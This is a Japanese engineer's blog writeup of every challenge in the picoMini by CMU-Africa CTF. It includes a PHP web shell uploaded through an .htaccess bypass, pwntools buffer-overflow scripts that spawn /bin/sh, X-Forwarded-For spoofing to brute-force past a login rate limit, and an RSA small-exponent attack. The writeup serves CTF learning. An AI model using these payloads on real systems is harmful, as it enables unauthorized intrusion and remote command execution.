• セキュリティ

picoMini by CMU-Africa 参加レポート&全問解説

F.Yuga
F.Yuga
  • セキュリティ
  • カルチャー
picoMini by CMU-Africa 参加レポート&全問解説

printf("おはようございます!\n"); 0x04 年目エンジニアの二木です。
カーネギーメロン大学アフリカ校主催のCTFコンテスト、"picoMini by CMU-Africa"へ参加したので、その参加レポートと全問解説(writeup)記事を残します。

今回は、二木+新卒3名EXEOCTF運営メンバーチーム4名計9名で参加しました!(個人でも何人か出ていたらしい。。。)

コンテスト概要

開催名picoMini by CMU-Africa
主催カーネギーメロン大学アフリカ校
開催期間2025/10/1(水)13:00JST 開始
2025/10/16(木)9:00JST 終了
出題分野
各問題数
Binary Exploitation 2問
Cryptography 1問
Forensics 4問
General Skills 1問
Reverse Engineering 2問
Web Exploitation 3問

picoMiniですが、picoCTFのスピンオフみたいな立ち位置みたいですね~。

今回のコンテストはカーネギーメロン大学のアフリカ校のスタッフ&学生チームが作成、運営を行っているみたいです。

難易度も初級者から中級者向けの問題で構成されていましたので、全体的にとても良い勉強になる問題が多い印象でした。

またpicoCTF(picoMini含め)は開催期間が長いため、業務をしながらでも参加しやすいのが二木的な高ポイントです。ありがとうCMU様

結果

冒頭でも述べました、2チームのうち、二木側チームの結果です。
チーム名は"3xnym0u5"です! ”エグニマス”をリート語に変換するとこうなりましたぁ。

チーム順位はGlobal部門で173位で、獲得ポイントは本CTFのマックスである、2200pt !
チームメンバーの協力もあり全問解くことができました!

ちなみに、EXEOCTF運営メンバーの中でも個人参戦している人(5年目社員のS氏)がいたのですが、全問回答で59位だったそうです。
速度が重要かもしれませんね~。

picoMini by CMU-Africa 全問解説

以降のセクションでは、各分野ごとのWriteupを書いていきます。
初めに、二木のCTF環境ですが

  • メイン端末:Panasonic CF-SV1 16GBメモリ (メルカリで3万で買いました これいいぞ)
  • ホストOS:Lubuntu (Ubuntu 24.04)
  • 仮想マシン:Kali Linux <- 今回使わなかったンゴ。。。というかホスト側に揃えてる

上記の環境で挑みました。PoCもこれで検証しております。各種ツール等ですが、基本OSSのしか入っていません。

Web Exploitation

Crack the Gate 1

  • ポイント:100pt
  • 配布物:問題サーバへのURL
  • ヒント
    • ヒント1:開発者はコード内にメモを残すことがありますが、必ずしもプレーンテキストであるとは限りません
    • ヒント2:よく使われる方法は、アルファベットの各文字を13の位置だけ回転させることです

問題概要
シンプルなログインフォームとメールアドレス(ログイン時に使用するID)が与えられます。パスワードは不明です。ログインに成功するとフラグがでるようですね。

解法
開発者ツールから、ページのソースコードを確認してみると、以下のようにコメントアウトされている文字列があります。↓

この文字列をCyberChefのROT13モジュールで複合した結果↓

どうやら、リクエストヘッダに X-Dev-Access: yes を付与すればバイパス可能だそうです。

X-Dev-Access: yes ヘッダーを付与するため、ログインフォームリクエスト時にBurpSuiteでインターセプトします↓

ヘッダーに X-Dev-Access: yes を追加してリクエストすると

フラグ:picoCTF{brut4_f0rc4_83812a02}

Crack the Gate 2

  • ポイント:200pt
  • 配布物:問題サーバへのURL, パスワードリスト
  • ヒント
    • ヒント1:サーバーはあなたがどのIPからアクセスしていると考えていますか?
    • ヒント2:X-forwarded-Forについてもっと読む
    • ヒント3:偽のIPをローテーションしてレート制限を回避できます

問題概要
ログインフォーム、ログインID(メールアドレス)、パスワードリストの3つが与えられます。パスワードリスト攻撃でログイン突破する系問題なのですが、ログイン試行回数に制限がかけられています。

適当なパスワードでログインを試みた結果です。2回目のログイン試行にて、弾かれてしまいました。。。

解法
HTTPには X-forwarded-For というヘッダーがあります。
これは、プロキシサーバやロードバランサーなどを経由してアクセスがあった際に、Webサーバが本来のクライアントIPアドレスを知るために使用されるヘッダーです。

今回の問題サーバでは、同一の送信元IP(つまりクライアントIP)から2回以上のログイン試行があった場合は、弾かれるという実装がされていそうですね。(正確に云うと、弾かれるというよりかは、20分間ログイン試行ができなくなる)

解法としては、与えられたパスワードリストごとに X-forwarded-For ヘッダのIPを変更して、リクエストを送る といった感じになります。

試しに、X-forwarded-For ヘッダーを付与して、値に適当なIPを指定しリクエストを送信してみます。
X-forwarded-For: 192.168.10.1 をヘッダーに追加してリクエスト

うまく通っているようですね↑

このヘッダーと配布されたパスワードリストを用いて IP偽造+パスワードリスト攻撃 をしてみます。
BurpSuiteのIntruder機能を用いると簡単にパスワードリスト攻撃を行うことができます。

intruder側の設定ですが、今回は IPとパスワードの2つのパラメータを指定するので、Pitchfork Attack モードを選択します。デフォルトの Sniper Attack だと1つのパラメータしか指定できませんので注意!

パスワードが "kl0Qtzu"のとき、レスポンスデータの長さが少し多いですね。
確認してみると、フラグを含むjsonデータがレスポンスされていました。レスポンスデータ内にフラグがあります。

フラグ:picoCTF{xff_byp4ss_brut4_3b2dc94d}

byp4aa3d

  • ポイント:300pt
  • 配布物:問題サーバへのURL
  • ヒント
    • ヒント1:Apacheは、.htaccessファイルを使用してPHP以外のファイルを実行すうように騙される可能性があります
    • ヒント2:複数のファイルをアップロードしてみてください

問題概要

ファイルをアップロードできるサイトが与えられます。
操作してみたところ、画像ファイルのみアップロードできるみたいです。

試しに、Linuxのペンギン君をアップロードしてみます。

アップロードした画像は、以下のURLでアクセスできるようです。
http://{問題サーバのURL:Port}/images/{アップロードしたファイル名}

解法
画像ファイルのPHPとして実行するように設定した、.htaccess ファイルをアップロードし、細工した画像ファイルでRCE(Remote Code Execution)を行います。

めちゃくちゃわかりやすいリンクがあったので載せときますね。
参考リンク:https://github.com/Red-Knights-CTF/writeups/tree/master/2020/Boot2root_ctf/Upload

では、攻撃していきます。

まずはじめに以下のような .htaccess ファイルを作成します。(ファイル名は .htaccess)

AddType application/x-httpd-php .png

次に、細工したpng画像ファイルを作成します。
細工と云っても、まぁ普通にRCEを書いたPHPファイルの拡張子を.pngにするだけです。
(ファイル名は solve.png)

<?php
$p = $_GET["p"];
$o = shell_exec($p);
echo $o;
?>

上記そーすこーどの拡張子を .png にしてください。

.htaccess ファイルをアップロードします。

これで、PNGファイルがPHPとして実行されるようになりました。

RCEコードを含んだ(細工した) solve.png ファイルをアップロードします。
アップロード時に、以下のヘッダーを付与してください。

Content-Type: application/x-httpd-php

細工したPNGファイルのアップロードが完了しました。

これで以下のようにアクセスすると、RCEができていることが確認できます。

http://{問題サーバのURL:Port}/images/solve.png?p=ls

GETパラメータのpには実行したいコマンドを入れてください。

最終的には、以下のようなコマンドを実行することでフラグが取得できました。

http://{問題サーバのURL:Port}/images/solve.png?p=cat ../../flag.txt

フラグ:picoCTF{s3rv3r_byp4ss_191e9557}

Binary Exploitation

Input Injection 1

  • ポイント:100pt
  • 配布物:問題サーバへのアクセス情報, ソースコード, バイナリファイル
  • ヒント
    • ヒント1:プログラムが入力をどのように保存し、使用するかを注意深く観察してください

問題概要
Binary Exploitation (pwn/pwnable とも呼ぶ)分野の問題です。二木の得意分野ですね!

サーバ情報、サーバで動作しているプログラムのソースコードおよびプログラムの実行ファイルが与えられます。
ソースコード↓(vuln.c)

#include<string.h>
#include<stdio.h>
#include<stdlib.h>

void fun(char *name, char *cmd);

int main() {
    char name[200];
    printf("What is your name?\n");
    fflush(stdout);

    fgets(name, sizeof(name), stdin);
    name[strcspn(name, "\n")] = 0;

    fun(name, "uname");
    return 0;
}

void fun(char *name, char *cmd) {
    char c[10];
    char buffer[10];

    strcpy(c, cmd);
    strcpy(buffer, name);

    printf("Goodbye, %s!\n", buffer);
    fflush(stdout);
    system(c);
}

fun関数の動きを見てみます。

  • ローカル変数cに、cmd変数の値をコピー
  • ローカル変数bufferに、name変数の値をコピー
  • system関数にローカル変数cを指定

name変数ですが、ユーザが200バイト書き込みができますが、fun関数では、10バイトしかないbuffer変数にコピーしています。

解法
buffer変数をオーバーフローさせて、ローカル変数cを任意のコマンドで塗りつぶします。
何文字目からオーバーフローするのか、ですが

0x14 - 0xa = 0xa つまり10バイトですね。

lsとかcatでもいいかもしれませんが、せっかくなのでシェルを起動してサーバへ侵入しましょう。

以下、エクスプロイトコード↓(solve.py)

from pwn import *

host = #問題サーバのURL
port = #問題サーバのポート番号

p = remote(host, port)

offset = 10
payload = offset * b'a' + b'/bin/sh\x00'

p.sendline(payload)

p.interactive()

buffer変数に10バイト分の適当な文字(今回は"a")で塗りつぶした後、"/bin/sh\x00"を指定してやります。
使用モジュールはみんな大好きpwntools。

フラグ:picoCTF{0v3rfl0w_c0mm4nd_7461beb3}

Input Injection 2

  • ポイント:200pt
  • 配布物:問題サーバへのアクセス情報, ソースコード, バイナリファイル
  • ヒント
    • ヒント1:username, shell が両方ともヒープに割り当てられることに注意してください
    • ヒント2:多くの場合、オフセットは実行時に表示されるメモリアドレスに隠れています
    • ヒント3:実行されるコマンドを上書きしてみましょう

問題概要
サーバ情報、サーバで動作しているプログラムのソースコードおよび実行ファイルが与えられます。
Input Injection 1ではスタック上の変数をオーバーフロー(スタックベースオーバーフロー攻撃)でしたが、今回はヒープ上の変数みたいです。
以下、問題のソースコード↓(vuln.c)

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main(void){
    char *username = malloc(28);
    char *shell = malloc(28);
    
    printf("username at %p\n", username);
    fflush(stdout);
    printf("shell at %p\n", shell);
    fflush(stdout);

    strcpy(shell, "/bin/pwn");

    printf("Enter username: ");
    fflush(stdout);
    scanf("%s", username);

    printf("Hello, %s. Your shell is %s.\n", username, shell);
    system(shell);
    fflush(stdout);

    return 0;
}

ヒープ上にusername, shellという2つの変数をそれぞれ28バイトで確保しています。(正確にはmallocなので、チャンクヘッダーがー とか云うとキリがないので割愛)
今回は、ご丁寧にそれぞれのアドレスを表示してくれています。わざわざGDBでオフセット調べんくてもいいのは楽ですね。

ちなみに、ncコマンドでサーバへ接続するとこんな感じで表示されます。

username変数のアドレス < shell変数のアドレスなので、username変数をヒープベースオーバーフローさせtshell変数を任意の値に書き換えられそうですね。

解法
ncでの接続結果から、username変数のアドレスとshell変数のアドレスの差は

0x303582d0 - 0x303582a0 = 0x30 -> 48文字(48バイト)

48バイト分の適当な文字列のあとに、実行したいコマンドを入力すれば、オーバーフローしてshell変数が上書きされ、system関数の引数に指定することができます。

以下、エクスプロイトコード↓(solve.py 今回もサーバへ侵入する方向で行きます)

from pwn import *

host = #問題サーバのURL
port = #問題サーバのポート番号

p = remote(host, port)

p.recvuntil(b"username at ")
username_addr = int(p.recvline().strip(), 16)
p.recvuntil(b"shell at ")
shell_addr = int(p.recvline().strip(), 16)

offset = shell_addr - username_addr
payload = offset * b"a" + b"/bin/sh\x00"

p.sendline(payload)
p.interactive()

計算するのがめんどい&アドレスの差が変わっても大丈夫なように、表示されている2変数のアドレスを取得し、その差分を計算させています。

フラグ:picoCTF{us3rn4m3_2_sh3ll_ac817f49}

Forensics

Riddle Registry

  • ポイント:50pt
  • 配布物:PDFファイル
  • ヒント
    • ヒント1:目に見えるテキストに騙されないでください。それは単なる囮です

問題概要
PDFファイルが与えられます。どうやらこのファイルにフラグが隠されているみたいです。

解法
exiftoolでファイルのメタ情報を確認してみます。

Authorのところにbase64っぽい文字列がありますね。CyberChefでデコードしてみます。

フラグ:picoCTF{puzzl3d_m3tadata_f0und!_ee454950}

Corrupted file

  • ポイント:100pt
  • 配布物:破損したファイル
  • ヒント
    • ヒント1:ファイルのヘッダーを確認してみてください
    • ヒント2:JPEG
    • ヒント3:xxd や hexdump などのツールは、ファイルバイトの検査と編集に役立ちます

問題概要
壊れている?ファイルが与えられます。
ヒントを見ると、どうやらjpegファイルのようですが。。。開けません。
fileコマンドで調べてみても、

file: data

となっているようで、jpegとしては認識されていないですね。

解法
ファイルヘッダをjpegフォーマットに修正します。
以下のコマンドでvimなどで編集しやすい形へ変換します。

xxd file > file.hex

vimでfile.hexを開くとこんな感じです↓(添付画像は既に修正済み)

これをjpegのフォーマットになるように先頭のマジックナンバーを書き換えます。
上図では、先頭が ff d8 ff e0 になっていますね。こうなるように編集します。
書き換えたfile.hexをjpeg拡張子にして、開くとフラグが表示されます。

フラグ:picoCTF{r3st0r1ng_th3_by73s_1512b52a}

Flag in Flame

  • ポイント:100pt
  • 配布物:でっかいログファイル
  • ヒント
    • ヒント1:base64データをデコードし、画像ファイルを生成するために使用します

問題概要
めちゃくちゃサイズの大きいテキストファイルが与えられます。
問題文によると、SOCチームがインシデントの際に発見したファイルだそうです。

ヒントより、base64でエンコードされた画像ファイルであると推測します。

解法
与えられたファイル内のbase64エンコードテキストをデコードし、画像ファイル(ここではpngファイル)に変換するプログラムを作成します。

import base64

def decode_base64_to_png(input_file:str, output_file:str):
    with open(input_file, "rb") as f_in, open(output_file, "wb") as f_out:
        base64.decode(f_in, f_out)

input_file:str = "logs.txt"
output_file:str = "output.png"
decode_base64_to_png(input_file, output_file)

上記Pythonプログラムを実行すると、output.pngという画像ファイルが生成されます。
開いて確認すると↓

おっふ まじか。。。 図の下の方にある文字列をASCIIに変換する感じね。。。
これですが、ChatGPTに投げたらいい感じに答えてくれました!

画像ファイルを見た感じ、明らかにAIに作らせたみたいな雰囲気なので、おそらくChatGPTに投げるのが正攻法なのかなぁと勝手に思ったりして。

ぐっじょぶGPT

フラグ:picoCTF{forensicsas_aalcysis_amazing_c75dd0867}

Hidden in plainsight

  • ポイント:100pt
  • 配布物:jpgファイル
  • ヒント
    • ヒント1:jpg画像をダウンロードしてメタデータを読む

問題概要
以下のjpg画像ファイルが与えられます。

解法
exiftoolでメタ情報を確認してみると、commentというところに怪しげなデータがあります。

CyberChefで、base64デコードしてみた結果です↓

steghide: cEF6endvcmQ=  とな

cEF6endvcmQ= をbase64デコードすると、"pAzzword"という文字列が得られました。

ネットで調べてみると、どうやらsteghideというツールがあるみたいですね。
このツールは、画像ファイルなどに異なるファイルを挿入することができるらしく、さらにパスワードもかけることができると。。。なるほど

下記のように使うことができるみたいですね。これフォレンジックというよりかはOSINTじゃ。。。

$ steghide embed -cf <埋め込み先のファイル> -ef <埋め込む秘密ファイル>

steghideを用いて埋め込まれたファイルを抽出、その際に使用するパスワードg"pAzzword"ってことですかね。

配布ファイルから埋め込まれたデータを抽出してみます。

Enter passphrase のところは、pAzzword を入力しました。

フラグ:picoCTF{h1dd3n_1n_1m4g3_e7f5b969}

Cryptography

Crack te Power

  • ポイント:200pt
  • 配布物:n, e, c が書かれたテキストファイル
  • ヒント
    • ヒント1:暗号化設定の特定の値が通常よりも小さい場合、平文を復元するための予期しない近道が開かれる
    • ヒント2:因数分解せずに暗号化を反転できるかどうかを検討します
    • ヒント3:Coppersmith's Attackに関する詳細はこちらをご覧ください(外部サイトへのリンク)

問題概要
RSA暗号の問題です。
以下の暗号データc, n, e の3つが与えられます。

解法
RSA暗号ですね。eちっさっ!

みんな大好き「RSA暗号運用でやってはいけないnのこと その6」にて紹介されていた"Low Public Exponent Attack"ができそうです。

参考リンク:https://www.slideshare.net/slideshow/rsa-n-ssmjp/72368516

Low Public Exponent Attackとは?
eが小さいとき、m^e < n となって、累乗根を取ればそのまま平文にできると。。。なるほど

つまり今回は

となる感じですね。

累乗根ですが、ニュートン法と呼ばれる近似法を使うと高速で求められます。
pythonだと gmpy2 でそれができます。以下、solve.pyt

import gmpy2
from gmpy2 import mpz

n = mpz("") #ここにn
e = 20
c = mpz("") #ここに暗号文c

m_candidate, exact = gmpy2.iroot(c, e)
m = m_candidate

blen = (m.bit_length() + 7) // 8
b = m.to_bytes(blen, byteorder='big')

print("ascii (replace):", b.decode('ascii', errors='replace'))

フラグ:picoCTF{t1ny_e_9b88056f}

General

Log Hunt

  • ポイント:50pt
  • 配布物:ログファイル
  • ヒント
    • ヒント1:ログから一致する行のみをフィルタリングするには grep を使用します
    • ヒント2:一部の行は重複しています。余分な行は無視してください

問題概要
あるサーバのログファイルが与えられます。ログにはフラグが断片的にあるみたいなので、うまくくっつけて元のフラグに戻す という問題。

見たところ、ログがざっと2000行以上続いています。

問題文より、フラグが重複してかつ断片的に とあるので単純な方法ではうまくいきそうにないですね。

解法
ログを観察してみると、フラグは"FLAGPART:" という文字列のあとに書いてあるのに気が付きます。全部見たわけではないので、完全とは言い切れませんが、おそらく推測は当たっていると思います。

ここまできたらあとはもう人力で。。。

フラグ:picoCTF{us3_y0urlinux_sk1lls_cedfa5fb}

Reverse Engineering

M1n10n'5_53cr37

  • ポイント:300pt
  • 配布物:apkファイル
  • ヒント
    • ヒント1:apkファイルを逆アセンブルする方法をご存知ですか?
    • ヒント2:興味深いソースファイルはありますか?

問題概要

minions.apkというapkファイルが与えられます。
問題文より、Androidソースコードの中に巧妙な方法でフラグを隠しているとあるので、apkファイルをZIPとして展開し、中のJava中間コードをjavaっぽく読めるようにする必要がありそうです。
ちなみに、android studio でapkファイルをエミュレータにインストールし、起動すると以下のような感じの画面がでました↓

Banana Value というのが本問題のポイントっぽいですね~

解法

まずソースコードを読める状態にするために、apkファイルを展開します。
apkはunzipコマンドで展開することができます↓

$ unzip minions.apk -d unzip_result

展開後↓

classes.dex, classes2.dex, classes3.dex, というファイルがありますね。これがソースコードっぽいものなんですが、このままではjavaとして読めません。

上記3つのdexファイルをjarファイルへ変換します。
jarファイルへの変換には、pxb1988氏のdex2jarというツールを使います。
dex2jar リンク: https://github.com/pxb1988/dex2jar
releaseページから最新版のツールをダウンロードしました。

では、dexファイルをjarファイルへ変換してきましょう。

$ dex-tools-v2.4/d2j-dex2jar.sh <変換したいdexファイル>

上記コマンドで変換することができます。
以下、変換結果↓

classes-dex2jar.jar というファイルがそれぞれ生成されていますね。

次に、このjarファイルをclassファイルに変換します。ここまでくるとjavaとしてソースコードを読むことが可能となります。
classファイルへの変換には、Java Decompiler projectのJD-GUIを使用しました。
JD-GUI リンク:https://java-decompiler.github.io/

jarファイルをドラッグ&ドロップするだけで、classファイルに変換されます。便利ですねぇ。後述するPico Bank でも大変お世話になったツールでございます。

MainActivityのソースコード含め、いろいろと確認してみましたが、フラグらしき値はありませんでした。。。

ソースコードにフラグが無いとなると、stringとして何らかの固定値的なやうにあるんかなぁ と予想。

apktoolを使って、apkファイルを展開し、resディレクトリ配下を調べてみます。

$ apktool d minions.apk -o apktool_result

上記コマンドを用いて、apkファイルを展開していきます。unzipとは異なり、AndroidManifest.xml(マニフェストファイル)やsmaliなどのアセンブリコードなどが見れるようになります。
展開するとこんな感じです↓

resディレクトリには、各種リソース関連のデータが格納されています。
また、問題文およびエミュレータ上に表示された画面からも、"Banana"というキーワードが重要かもしれません。
"Banana"で検索をかけてみます。

ああ base64みたいな文字列があるなぁ なんかぁ

string name="Banana"の値をbase32デコードしてフラグ取得しました!
※base64だとデコードできませんでした。base32ですねこれ

フラグ:picoCTF{1t_w4sn7_h4rd_unr4v3l1n9_th3_m0b1l3_c0d3}

Pico Bank

  • ポイント:400pt
  • 配布物:apkファイル, apkファイルを配布しているサイト(問題サーバを兼ねている)
  • ヒント
    • ヒント1:APKを検査するには、jadxGUIやapktoolなどのツールを使用します
    • ヒント2:アプリのネットワークリクエスト、特にログインとOTPを確認します
    • ヒント3:フラグは2つの部分から構成されています
    • ヒント4:正しいOTPを入力した後、サーバの応答を確認します
    • ヒント5:トランザクション履歴で異常なデータを調査します

問題概要

はい。沼った問題です。本CTFだと一番難しい?問題だったと思います。気が付けば簡単なんですけどね。。。

今回も前回問題と同様にapkファイルが配布されます。違うところは、インスタンス(問題サーバ)を起動し、そこからダウンロードをするという点です。
※この問題サーバですが、後ほど沼にハマる原因となります。。。!

インスタンスを起動すると、上記サイトへアクセスが可能となります。
このサイトのダウンロードからapkファイルを入手するのが今回のエントリーポイントです。

apkファイルをエミュレータにインストールしてみました。
口座管理を模倣したアプリケーションのようですね。

解法

結論から云うと、fridaやapk再ビルド・wiresharkなどは特にいりませんでした。。。
前述の問題 minions.apk のときと同様に、javaソースコードが読めれば解けるっていうね。

おそらく他の参加者も、frida使ったり、ソースコードをいじって再ビルドを試みたり、wiresharkで通信ログをキャプチャしようとしたりと。。。いろいろと試行錯誤したかと思います。

ということで、最短ルートでの解説となります。後ほど苦労した点などをまとめますね。

まず、初めにapkファイルをapktoolおよびunzipを用いて、それぞれ展開していきます。

unzipおよびapktoolの結果です↑

unzipで得られたdexファイルをjarに変換し、JD-GUIでソースコードを見ていきます。
ここでは、ユーザのログイン情報を探していきます。

↑ソースコードに変換した結果です。
classes3-dex2jar.jar にcom.example.picobank があるので、ここを中心に見ていきます。

Login.class といかいういかにもみたいなクラスがあるので、確認してみると、ログイン情報がハードコーディングされていました。

ログインID:johnson, ログインパスワード:tricky1990
問題文からも、これがユーザのログイン情報で確定ですね。

得られたログイン情報をエミュレータ上で入力してみます。

ユーザのログイン情報を入力したあとに、OTPを入力する必要があるみたいですね。
ソースコード上で調査を進めていきます。

OTP.class がありました↑

ネットワーク通信をしているかと思いきや、ローカルのファイルからOTPの値を取得し、入力値と検証しているみたいですね。

apktoolで展開したresディレクトリ配下を"otp"などの文字列で探索してみます。

res/values/strings.xml 内にotp_value が定義されていますね。つまりこれがOTP値であると。

OTP: 9673

エミュレータに戻って、入力してみます。

ログインできました!

はい、てことでアプリにログインはできたのですが、フラグらしきものはどこにも見当たりまへん。
なんか口座のトランザクション履歴も2進数みたいになっているしお寿司。。。
あ、そういうことか

MainActivity.classを見ると、トランザクションデータが記述されています。

これらの金額が2進数なので、文字コードとして読んでみると。。。

ぐっじょぶ!GPT

問題文でも触れていた、フラグの前半部分を取得できました!
フラグ戦半:picoCTF{1_l13d_4b0ut_b31ng_

さてさて、後半のフラグはどこじゃけぇ? ということで、ここから二木が沼にハマってしまいました。

問題文のヒントにもある通り、エミュレータのネットワークログを確認してみたのですが、サーバからのレスポンスなど無いんすよね。
それもそのはずで、ソースコードには

"your server url" + "/verify-otp"

とあるので、そもそもネットワークリクエスト時に失敗します。logcatでもエラー吐いてましたねここで。そのためレスポンスなどないのです。

でも、ソースコードを読んだ感じ、サーバーへリクエストを送信(リクエストデータには "otp" という値をjsonで指定)し、そのレスポンスにフラグがあるんだよなぁ。でもリクエストは失敗するから。。。あがが

はい、ここで振り返ってみます。そもそもapkファイル単体で終わる問題なら、問題サーバ(インスタンス)を立ち上げる必要があるのか?と

ここで、「問題サーバにotpの値を含めたjsonリクエストを送るんじゃね?これ」という考えが閃きました。

以下、実践
ソースコードでもJSONリクエストをしていたので、POSTメソッドでContent-Type: application/json を指定してやります。

$ curl -X POST http://{問題サーバのURL:ポート番号}/verify-otp \
    -H "Content-Type: application/json" \
    -d '{"otp":"9673"}'

上記コマンドの結果↓

{
    "success":true,
    "message":"OTP verified successfully",
    "flag":"s3cur3d_m0b1l3_l0g1n_b8683d34}",
    "hint":"The other part of the flag is hidde in the app"
}

ふぁぁぁ~www 脳汁止まんないですよねほんと これだからCTFやめられないんすよ

というわけで、後半のフラグを取得できました!
フラグ後半:s3cur3d_m0b1l3_l0g1n_b8683d34}

前半・後半を合わせて
フラグ:picoCTF{1_l13d_4b0ut_b31ng_s3cur3d_m0b1l3_l0g1n_b8683d34}

さいごに

なんとか全問解くことができました。。。ぱちぱち~
難易度的にもあまり詰まることなく解けたので、とても面白かったです!(開催期間が長いのは本当にありがてぇ。。。)

チームメンバーの感想としては、webやforensicsは解けたが、reversingがちょっと。。。っていう人が大半でしたね~
今回僕も初めてAPK問題(Androidアプリ問題)をやってみたのですが、そもそもツールの使い方から学習するっていうね。。。 
Android Studioをインストールしたはいいものの、グラフィックの相性が良くないのか、エミュレータ起動しないし。。。

次回ですが、仙台CTFや総務省の全国型CTFなども開催されるみたいですので、若手社員引き連れてえっさほいさ頑張ろうと思います!

ではノシ

新着記事一覧へ